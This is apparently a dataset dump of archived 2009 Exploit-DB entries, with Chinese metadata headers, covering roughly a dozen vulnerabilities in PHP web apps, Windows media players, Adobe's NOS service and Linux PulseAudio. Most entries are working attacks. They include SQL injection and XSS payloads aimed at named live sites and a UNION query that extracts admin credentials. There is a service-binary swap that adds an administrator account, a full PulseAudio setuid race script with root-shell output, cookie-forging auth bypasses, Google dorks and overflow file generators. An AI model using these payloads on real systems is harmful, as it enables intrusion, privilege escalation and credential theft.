QLWD/code_shield huggingface dataset:
标题: phpDirectorySource 1.0 - Cross-Site Scripting / SQL Injection EDB-ID: 9226 CVE: 2009-4681 2009-4680 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-21 漏洞利用脚本: ==============================================================================
        [Â»] [!] Coder - Developer HTML / CSS / PHP / Vb6 . [!]
==============================================================================
        [Â»] Web Business Directory 1.0 (search.php) Multiple Remote Vulnerabilities
==============================================================================

 [Â»] Script:             [ Web Business Directory 1.0 ]
 [Â»] Language:           [ PHP ]
        [Â»] Download:           [ http://www.phpdirectorysource.com/  ]
 [Â»] Founder:            [ Moudi <m0udi@9.cn> ]
        [Â»] Thanks to:          [ MiZoZ , ZuKa , str0ke , 599em Man , Security-Shell ...]
        [Â»] Team:               [ EvilWay ]
        [Â»] Dork:               [ Copyright 2005-2006 phpDirectorySourceâ„¢, all rights reserved ]
        [Â»] Price:              [ $75.00   ]
        [Â»] Site :              [ https://security-shell.ws/forum.php ]

###########################################################################

===[ Exploit SQL INJECTION + LIVE : vulnerability ]===

[Â»] http://www.site.com/patch/search.php?sa=site&sk=a&nl=11&st=

[Â»] http://www.phpdirectorysource.com/directory/search.php?sa=site&sk=a&nl=11&st=XX' union select version()/*
[Â»] http://ilovealbertaoil.com/search.php?sa=site&sk=a&nl=11&st=XX' union select version()/*

===[ Exploit XSS + LIVE : vulnerability ]===

[Â»] http://www.site.com/patch/search.php?sa=site&sk=a&nl=11&st=

[Â»] http://www.phpdirectorysource.com/directory/search.php?sa=site&sk=a&nl=11&st="><script>alert(document.cookie);</script>
[Â»] http://ilovealbertaoil.com/search.php?sa=site&sk=a&nl=11&st="><script>alert(document.cookie);</script>


Author: Moudi

###########################################################################

# milw0rm.com [2009-07-21] URL: https://www.exploit-db.com/exploits/9226
标题: powerUpload 2.4 - (Authentication Bypass) Insecure Cookie Handling EDB-ID: 9219 CVE: 2009-2770 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-20 漏洞利用脚本: ||          ||   | ||        
                   o_,_7 _||  . _o_7 _|| 4_|_||  o_w_, 
                  ( :   /    (_)    /           (   .  
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|     _                   __           __       __          ______     |
|   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
|  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
|  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
|     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
|      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
|       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
|                  \ \____/ >> Kings of injection                      |
|                   \/___/                                             |
|                                                                      |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|


<<!>> Found by  :  Cyb3r-1sT

<<!>> C0ntact : cyb3r-1st [at] hotmail.com 
                   
=======================================================
+++++++++++++++++++ Script information+++++++++++++++++
=======================================================

<<->> script   :: PowerUpload

=======================================================
+++++++++++++++++++++++ Exploit +++++++++++++++++++++++
=======================================================

<<->> Exploit :: 
 
              >>> http://www.cyb3r.1st/ [path] /admin

              >>> javascript:document.cookie="myadminname=YWRtaW5=";

<<->> to fix 
      contact :: support@powerupload.com 
 
=======================================================
++++++++++++++++++++++ Greetz +++++++++++++++++++++++++
=======================================================

<<->> All freinds , [ www.tryag.com ] , [ www.7rs.org ] , [ sec-code.com ]

<<->> special greetz to tryag acadamy members

# milw0rm.com [2009-07-20] URL: https://www.exploit-db.com/exploits/9219
标题: Adobe Acrobat 9.1.2 NOS - Local Privilege Escalation EDB-ID: 9223 CVE: 2009-2564 类型: LOCAL 平台: WINDOWS 发布日期: 2009-07-21 漏洞利用脚本: /*
alwaysdirtyneverclean.c
AKA
Adobe Acrobat 9.1.2 NOS Local Privilege Escalation Exploit (alwaysdirtyneverclean.zip)
BY
Jeremy Brown 2009 [0xjbrown41@gmail.com] 07.21.2009
***********************************************************************************************************
I've been up for nearly 24 hours (only the last few doing research though). This exploit is based on the
brief information provided by Nine:Situations:Group (http://www.milw0rm.com/exploits/9199). Exploiting
improper permissions is fun. A few notes are in order though. The getPlus service (that I tested, via 9.1.2)
isn't installed as an "Automatic" service, therefore making it slightly harder (but not hard) to practically
use to your advantage. But I tested running this code under a GUEST account and it worked pretty good (just
the first time though). Change the values as needed, compile and run. Things could be more or less silent,
lethal or non-lethal... it is completely up to you. Things cannot get much simpler than this :)

Tested on Windows XP SP3 + Adobe Acrobat 9.1.2 (installed from adobe's download manager, then updated)

But maybe give Adobe a break? 2009 has been a rough year for them already, heh. Sleep time.
***********************************************************************************************************
alwaysdirtyneverclean.c
*/

#include <stdio.h>
#include <windows.h>

#define DEFAULT_TARGET  "C:\\Program Files\\NOS\\bin\\GetPlus_HelperSvc.exe"
#define DEFAULT_BACKUP  "C:\\Program Files\\NOS\\bin\\GetPlus_HelperSvc.exe.bak"
#define DEFAULT_EXECUTE "C:\\Documents and Settings\\All Users\\Documents\\bin.exe"
//#define DEFAULT_EXECUTE "C:\\WINDOWS\\system32\\calc.exe"

int main(int argc, char *argv[])
{

     MoveFile(DEFAULT_TARGET, DEFAULT_BACKUP);
     CopyFile(DEFAULT_EXECUTE, DEFAULT_TARGET, FALSE);
     // shakee and bakeee

     return 0;

}
///////////////////////////////////// cut /////////////////////////////////////

/*
bin.c
FROM
Adobe Acrobat 9.1.2 NOS Local Privilege Escalation Exploit (alwaysdirtyneverclean.zip)
BY
Jeremy Brown 2009 [0xjbrown41@gmail.com] 07.21.2009
*/

#include <stdio.h>
#include <windows.h>

#define CMD "C:\\WINDOWS\\system32\\cmd.exe"
#define ONE "/C net user adobe pwned /add"
#define TWO "/C net localgroup administrators adobe /add"

int main(int argc, char *argv[])
{

STARTUPINFO si = {sizeof(STARTUPINFO)};
PROCESS_INFORMATION pi;

     CreateProcess(CMD, ONE, NULL, NULL, 0, 0, NULL, NULL, &si, &pi);
     CreateProcess(CMD, TWO, NULL, NULL, 0, 0, NULL, NULL, &si, &pi);
     // mmmmmmmmmmm.. chocolate browie ice cream smoothes are goooood

     return 0;

}

# milw0rm.com [2009-07-21] URL: https://www.exploit-db.com/exploits/9223
标题: KMplayer 2.9.4.1433 - '.srt' Local Buffer Overflow (PoC) EDB-ID: 9220 CVE: 2009-2896 类型: DOS 平台: WINDOWS 发布日期: 2009-07-20 漏洞利用脚本: #!usr/bin/perl
######################## In The Name Of Allah ####################
#
#               The KMplayer (.Srt) File Local Bof Poc
#                      
#
#Author : b3hz4d (Seyed Behzad Shaghasemi)
#Site : Www.Pentesters.Ir
#Tested on KMplayer <= 2.9.4.1433
#Special Thanks : Navid, Hossein, Hooshang, Mahmood, Mohammad  and all members in Pentesters.ir
#Greetings : Shahriyar && Alireza  && Soroush and all iranian hackers
#
######################### Www.Pentesters.Ir ######################



$junk="A"x 90000;
open(fhandle,">SubTitle.srt");
print fhandle "1"."\n"."00:00:25,100 --> 00:00:30,900"."\n"."$junk\n"."-pentesters\n";
print fhandle "2"."\n"."00:00:31,100 --> 00:00:35,900"."\n"."www.pentesters.ir\n"."-Pentesters.Ir\n";
print fhandle "3"."\n"."00:00:36,100 --> 00:00:40,900"."\n"."www.pentesters.ir\n"."-Pentesters.Ir\n";
print fhandle "4"."\n"."00:00:41,100 --> 00:00:45,900"."\n"."www.pentesters.ir\n"."-Pentesters.Ir\n";
print fhandle "5"."\n"."00:00:46,100 --> 00:00:50,900"."\n"."www.pentesters.ir\n"."-Pentesters.Ir\n";
print fhandle "6"."\n"."00:00:51,100 --> 00:00:55,900"."\n"."www.pentesters.ir\n"."-Pentesters.Ir\n";
close(fhandle);

# milw0rm.com [2009-07-20] URL: https://www.exploit-db.com/exploits/9220
标题: E-Xoopport 3.1 Module MyAnnonces - 'lid' SQL Injection EDB-ID: 9217 CVE: 2009-2591 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-20 漏洞利用脚本: ================================================================================================

 Title    : Remote SQL Injection Vulnerability
 Software : MyAnnonces Module for E-Xoopport 3.1
 Vendor   : http://www.e-xoopport.it/
 
 Date     : 17 July 2009 (Indonesia)
 Author   : Vrs-hCk
 Contact  : d00r@telkom.net
 Blog     : http://c0li.blogspot.com/

 ================================================================================================

 [-] Exploit

     http://[site]/[path]/modules/MyAnnonces/index.php?pa=viewannonces&lid=[SQLi]

 [-] Demo

     http://www.focolaccia.org/modules/MyAnnonces/index.php?pa=viewannonces&lid=-41' union select 1,2,3,4,version(),6,7,8,9,0,1,2,3,4,5,6,7/*
     http://www.annuncisolidali.it/modules/MyAnnonces/index.php?pa=viewannonces&lid=-1946' union select 1,2,3,4,version(),6,7,8,9,0,1,2,3,4,5,6,7/*

 ================================================================================================

 Greetz   :

     www.MainHack.net - www.ServerIsDown.org - www.LuvNova.info
     Paman, NoGe, OoN_Boy, Angela Chang, pizzyroot, zxvf, ajegille, em|nem, loqsa, Fluzy,
     bl4Ck_3n91n3, H312Y, S3T4N, xr00tb0y, Janroe, c0li.m0de.0n and Behave oR BeGone !!!

 ================================================================================================

# milw0rm.com [2009-07-20] URL: https://www.exploit-db.com/exploits/9217
标题: Acoustica MP3 Audio Mixer 2.471 - '.m3u' Local Heap Overflow (PoC) EDB-ID: 9213 CVE: 2009-3810 类型: DOS 平台: WINDOWS 发布日期: 2009-07-20 漏洞利用脚本: #!/usr/perl/bin -w
#
#
#Foundr By : D3V!L FucK3r
#
#MY Email: w0@live.no
#
#Download : http://www.acoustica.com
#
#Tested  on : Windos vista sp1
#
#Version : mp3 audio mixer v.2.471 Demo
#
#if you Click Ã—Ã—Ã—Ã—Ã—Ã— and select file then ...... :)
#
# perl For a men :)
#
#Gretz to : Sa^Devl  ,    THEINJECTOR    ,   anti-trust
#
#EAX 03D7ADF8 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
#ECX 41414141
#EDX 01EE0000
#EBX 00004141
#ESP 0012BC48
#EBP 0012BC74
#ESI 03E808E0
#EDI 00100000
#EIP 76ED04C1 ntdll.76ED04C1

$buff="\x41" x 5000;
open(MYFILE , '>>D3V!L FUCK3R.m3u')or die " File not found.";
print MYFILE $buff;
close (MYFILE);

print "Perl 4 a men :d\n";

###########################################

# milw0rm.com [2009-07-20] URL: https://www.exploit-db.com/exploits/9213
标题: MiniCWB 2.3.0 - 'lang' Remote File Inclusion EDB-ID: 9204 CVE: 2009-4693 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-20 漏洞利用脚本: ================================================================================================


  [o] MiniCWB 2.3.0 Multiple Remote File Inclusion Vulnerability

       Software : MiniCWB version 2.3.0
       Vendor   : http://www.grafxsoftware.com/
       Download : http://www.grafxsoftware.com/login.php?action=form&url=download.php
       Author   : NoGe
       Contact  : noge[dot]code[at]gmail[dot]com
       Blog     : http://evilc0de.blogspot.com


================================================================================================


  [o] Vulnerable file


       include($LANG.".extra.php");

        language/en.inc.php
        language/hu.inc.php
        language/no.inc.php
        language/ro.inc.php
        language/ru.inc.php




  [o] Exploit

       http://localhost/[path]/language/en.inc.php?LANG=[evilc0de]
       http://localhost/[path]/language/hu.inc.php?LANG=[evilc0de]
       http://localhost/[path]/language/no.inc.php?LANG=[evilc0de]
       http://localhost/[path]/language/ro.inc.php?LANG=[evilc0de]
       http://localhost/[path]/language/ru.inc.php?LANG=[evilc0de]



  [o] Dork

       "Powered by MiniCWB"


================================================================================================


  [o] Greetz

       MainHack BrotherHood [ http://news.serverisdown.org ]
       Vrs-hCk OoN_BoY Paman bL4Ck_3n91n3 Angela Zhang
       H312Y yooogy mousekill }^-^{ loqsa zxvf
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke



  [o] Special

       All victim Jakarta Explosion in JW Marriot and The Ritz-Carlton [ Friday July 17 2009 ]
       fuck terorism!! you're not make us afraid but you make us more stronger.

        
================================================================================================

# milw0rm.com [2009-07-20] URL: https://www.exploit-db.com/exploits/9204
标题: Silentum Guestbook 2.0.2 - 'silentum_Guestbook.php' SQL Injection EDB-ID: 9202 CVE: 2009-4687 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-20 漏洞利用脚本: ##Silentum Guestbook v2.0.2 (silentum_guestbook.php) Sql Injection Vuln.
#######################################################################
#######################################################################
##Yazar: Bgh7
##
##Turk Bilisim Gucleri Group / Ihlilal Hatti
##
##ByBgh7[a]msn.com
##
##Http://Bgh7.Blogspot.Com
##
##Bug: Sql Injection
##
##Ä°ndir/Download: http://hypersilence.net/silentum_guestbook.php
##
##Biz ki neler gÃ¶rdÃ¼k, biz ki neler Ã§ektik... 2-3 Ã‡ekik gÃ¶zlÃ¼den mi korkacaÄŸÄ±z ?
##Ã‡in sÃ¶mÃ¼recek bir rezerv daha bulduÄŸunu sanÄ±yor, yazÄ±k...
#######################################################################
#######################################################################
Sql: silentum_guestbook.php?messageid=-1 UNION ALL SELECT 0,0,0,0,concat(u_name,0x3a,u_password,0x3a,u_email),0,0 FROM silentum_admin/**
#######################################################################
#######################################################################
Thanks: m3rcil3sS & GhostKing & milw0rm & All TurkÄ±sh Attackers

# milw0rm.com [2009-07-20] URL: https://www.exploit-db.com/exploits/9202
标题: PulseAudio setuid - Local Privilege Escalation EDB-ID: 9207 CVE: 2009-1894 类型: LOCAL 平台: LINUX 发布日期: 2009-07-20 漏洞利用脚本: #!/bin/bash

pulseaudio=`which pulseaudio`
workdir="/tmp"
#workdir=$HOME
id=`which id`
shell=`which sh`

trap cleanup INT

function cleanup()
{
 rm -f $workdir/sh $workdir/sh.c $workdir/pa_race $workdir/pa_race.c 
 rm -rf $workdir/PATMP*
}

cat > $workdir/pa_race.c << __EOF__
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <time.h>
#include <sys/types.h>
#include <sys/wait.h>

#define PULSEAUDIO_PATH  "$pulseaudio"
#define SH_PATH   "$workdir/sh"
#define TMPDIR_TEMPLATE  "$workdir/PATMPXXXXXX"

void _pause(long sec, long usec);

int main(int argc, char *argv[], char *envp[])
{
 int   status;
 pid_t pid;
 char  template[sizeof(TMPDIR_TEMPLATE)];
 char *tmpdir;
 char  hardlink[sizeof(template) + 2];
 char  hardlink2[sizeof(template) + 12];
 
 srand(time(NULL));
 
 for( ; ; )
 {
  snprintf(template, sizeof(template), "%s", TMPDIR_TEMPLATE);
  template[sizeof(template) - 1] = '\0';
  
  tmpdir = mkdtemp(template);
  if(tmpdir == NULL)
  {
   perror("mkdtemp");
   return 1;
  }
 
  snprintf(hardlink, sizeof(hardlink), "%s/A", tmpdir);
  hardlink[sizeof(hardlink) - 1] = '\0';
 
  snprintf(hardlink2, sizeof(hardlink2), "%s/A (deleted)", tmpdir);
  hardlink2[sizeof(hardlink2) - 1] = '\0';
 
  /* this fails if $workdir is a different partition */
  if(link(PULSEAUDIO_PATH, hardlink) == -1)
  {
   perror("link");
   return 1;
  }
  
  if(link(SH_PATH, hardlink2) == -1)
  {
   perror("link");
   return 1;
  }
  
  pid = fork();
  
  if(pid == 0)
  {
   char *argv[] = {hardlink, NULL};
   char *envp[] = {NULL};

   execve(hardlink, argv, envp);
   
   perror("execve");
   return 1;
  }
  
  if(pid == -1)
  {
   perror("fork");
   return 1;
  }
  else
  {
   /* tweak this if exploit does not work */
   _pause(0, rand() % 500);
   
   if(unlink(hardlink) == -1)
   {
    perror("unlink");
    return 1;
   }
 
   if(link(SH_PATH, hardlink) == -1)
   {
    perror("link");
    return 1;
   }
   waitpid(pid, &status, 0);
  }
  
  if(unlink(hardlink) == -1)
  {
   perror("unlink");
   return 1;
  }
  
  if(unlink(hardlink2) == -1)
  {
   perror("unlink");
   return 1;
  }
  
  if(rmdir(tmpdir) == -1)
  {
   perror("rmdir");
   return 1;
  }
 }
  
 return 0;
}

void _pause(long sec, long usec)
{
 struct timeval timeout;
 
 timeout.tv_sec  = sec;
 timeout.tv_usec = usec;
 
 if(select(0, NULL, NULL, NULL, &timeout) == -1)
 {
  perror("select");
 }
}
__EOF__

cat > $workdir/sh.c << __EOF__
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>


int main(int argc, char *argv[], char *envp[])
{
 if(geteuid() != 0)
 {
  return 1;
 }

 setuid(0);
 setgid(0);

 if(fork() == 0)
 {
  argv[0] = "$id";
  argv[1] = NULL;
  execve(argv[0], argv, envp);
  return 1;
 }

 argv[0] = "$shell";
 argv[1] = NULL;
 execve(argv[0], argv, envp);
 return 1;
}
__EOF__

gcc -o $workdir/pa_race $workdir/pa_race.c
gcc -o $workdir/sh $workdir/sh.c

$workdir/pa_race

# milw0rm.com [2009-07-20] URL: https://www.exploit-db.com/exploits/9207
标题: Netrix CMS 1.0 - Authentication Bypass EDB-ID: 9203 CVE: 2009-4876 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-20 漏洞利用脚本: =======================================================
+++++++++++++++++++ information +++++++++++++++++++++++
=======================================================
[+] Script :Netrix CMS 1.0 (Auth Bypass) Remote SQL Injection Vulnerability

[+] Found by : Mr.tro0oqy  

[+] Script site : www.netrix.hu
   
[+] C0ntact : t.4@windowslive.com <Yemeni ana>
=======================================================
+++++++++++++++++++++++ Exploit +++++++++++++++++++++++
=======================================================
Exploit : 
---------
http://www.site.com/path/admin/cikkform.php?cid=1
---------

u in control panel 


control panel :
-------------
http://www.site.com/path/admin
-------------



Demo live : 
-----------
http://cms.netrix.hu/admin/cikkform.php?cid=1
-----------

u can edit anything or put on your index ;)

# milw0rm.com [2009-07-20] URL: https://www.exploit-db.com/exploits/9203
标题: PulseAudio setuid (Ubuntu 9.04 / Slackware 12.2.0) - Local Privilege Escalation EDB-ID: 9208 CVE: 2009-1894 类型: LOCAL 平台: LINUX 发布日期: 2009-07-20 漏洞利用脚本: PulseAudio setuid Local Privilege Escalation Vulnerability
https://www.securityfocus.com/bid/35721
Credit for discovery of bug: Tavis Ormandy, Julien Tinnes and 
Yorick Koster 
--

Put files in /tmp/pulseaudio-exp (or change config.h). Must be on 
same fs as the pulseaudio binary.

Goes faster if you already have a pulseaudio running ? :p

Tested with success on Ubuntu 9.04 (x86-64) and slackware 12.2.0 
(x86)

Ubuntu:
------------------------------------
$ ./c.sh
$ ./pulseaudio-exp 
Please wait.
[*] Seems we are uid = 0 and gid = 0
[*] mv /tmp/pulseaudio-exp/shell /sbin/axx
[*] chown root.root /sbin/axx
[*] chmod 4755 /sbin/axx
Try: /sbin/axx /bin/sh
$ /sbin/axx /bin/sh
# id
uid=0(root) gid=0(root) 
groups=4(adm),20(dialout),24(cdrom),46(plugdev),106(lpadmin),121(adm
in),122(sambashare)
# uname -a
Linux ubuntu 2.6.28-13-generic #45-Ubuntu SMP Tue Jun 30 22:12:12 
UTC 2009 x86_64 GNU/Linux
------------------------------------
Slackware
------------------------------------
$ ./c.sh 
$ ./pulseaudio-exp 
Please wait.
[*] Seems we are uid = 0 and gid = 0
[*] mv /tmp/pulseaudio-exp/shell /sbin/axx
[*] chown root.root /sbin/axx
[*] chmod 4755 /sbin/axx
Try: /sbin/axx /bin/sh
$ /sbin/axx /bin/sh
sh-3.1# id
uid=0(root) gid=0(root) groups=17(audio),100(users),104(pulse-rt)
sh-3.1# uname -a
Linux slackware 2.6.27.7-smp #2 SMP Thu Nov 20 22:32:43 CST 2008 
i686 Intel(R) Pentium(R) Dual  CPU  T3400  @ 2.16GHz 
GenuineIntel GNU/Linux
------------------------------------

download:  https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/9208.tar.gz (2009-pulseaudio-exp.tar.gz)

# milw0rm.com [2009-07-20] URL: https://www.exploit-db.com/exploits/9208
标题: Acoustica MP3 Audio Mixer 2.471 - '.sgp' Crash EDB-ID: 9212 CVE: 2009-3809 类型: DOS 平台: WINDOWS 发布日期: 2009-07-20 漏洞利用脚本: #!/usr/bin/perl -w
#
# Acoustica MP3 Audio Mixer 1.0 (.sgp file) Crash Vulnerability Exploit
#
# Founded and exploited by prodigy
#
# Contact: smack_the_stream@hotmail.com
# 
# Vendor: www.acoustica.com
#
# Usage to reproduce the bug: when you created the malicious file, open it from the menu of the program and booom!!
#
# Platform: Windows
#
###################################################################

==PoC==

use strict;

use diagnostics;

my $file= "crash.sgp";

my $boom= "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" x 5000;

open($FILE,">>$file");

print $FILE "$boom";

close($FILE);

print "File Created successfully\n";

==EndPoC==


##Greetz: Greetz myself for find the bug.

# milw0rm.com [2009-07-20] URL: https://www.exploit-db.com/exploits/9212
标题: Alibaba-clone CMS - SQL Injection / Blind SQL Injection EDB-ID: 9211 CVE: 2009-2439 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-20 漏洞利用脚本: # [+] Alibaba-clone CMS (SQL/bSQL) Remote SQL  Injection

# [+] Author : 599eme Man
# [+] Contact : Flouf@live.fr
# [+] Dowload : http://blog.duslerim.net/cms/alibabacom-clone-new.html
# [+] Big Thanks to: Moudi :)

>> [+] Exploit :

http://www.site.com/path/supplier/view_contact_details.php?SellerID=(Blind) or (SQL)

http://www.site.com/path/category.php?IndustryID=(Blind) or (SQL)

>> [+] Demo BLIND:


http://www.webdevelopmenthouse.com/alibaba-clone/category.php?IndustryID=25 and 1=1 <= true
http://www.webdevelopmenthouse.com/alibaba-clone/category.php?IndustryID=25 and 1=2 <= false

http://www.webdevelopmenthouse.com/alibaba-clone/category.php?IndustryID=25 and 1=1+AND+SUBSTRING(@@version,1,1)=5 <= true
http://www.webdevelopmenthouse.com/alibaba-clone/category.php?IndustryID=25 and 1=1+AND+SUBSTRING(@@version,1,1)=4 <= false
The MYSQL version is : 5

http://www.webdevelopmenthouse.com/alibaba-clone/category.php?IndustryID=25+and+1=1+union+select+1,2,version()--
See now: 5.0.45-community-nt

http://www.webdevelopmenthouse.com/alibaba-clone/category.php?IndustryID=25+and+1=1+union+select+1,2,user()--
Nadir_db@temp-webs

http://www.webdevelopmenthouse.com/alibaba-clone/category.php?IndustryID=25+and+1=1+union+select+1,2,database()--
nas04



>> [+] Demo SQL:


http://www.webdevelopmenthouse.com/alibaba-clone/category.php?IndustryID=18+union+select+1,2,version()--
The MYSQL version is : 5

http://www.webdevelopmenthouse.com/alibaba-clone/category.php?IndustryID=18+union+select+1,2,user()--
Nadir_db@temp-webs

http://www.webdevelopmenthouse.com/alibaba-clone/category.php?IndustryID=18+union+select+1,2,database()--
nas04


Enjoy !!

# milw0rm.com [2009-07-20] URL: https://www.exploit-db.com/exploits/9211
标题: EpicVJ 1.2.8.0 - '.mpl' / '.m3u' Local Heap Overflow (PoC) EDB-ID: 9200 CVE: 2009-3536 类型: DOS 平台: WINDOWS 发布日期: 2009-07-20 漏洞利用脚本: #!/usr/bin/perl
# Found By :: HACK4LOVE
# EpicVJ 1.2.8.0 (.mpl / .m3u ) Local heap Overflow PoC
# http://www.epicdjsoftware.com/
########################################################################################
########################################################################################
my $crash="\x41" x 5000;
open(myfile,'>>hack4love.m3u');
print myfile $crash;
########################################################################################

# milw0rm.com [2009-07-20] URL: https://www.exploit-db.com/exploits/9200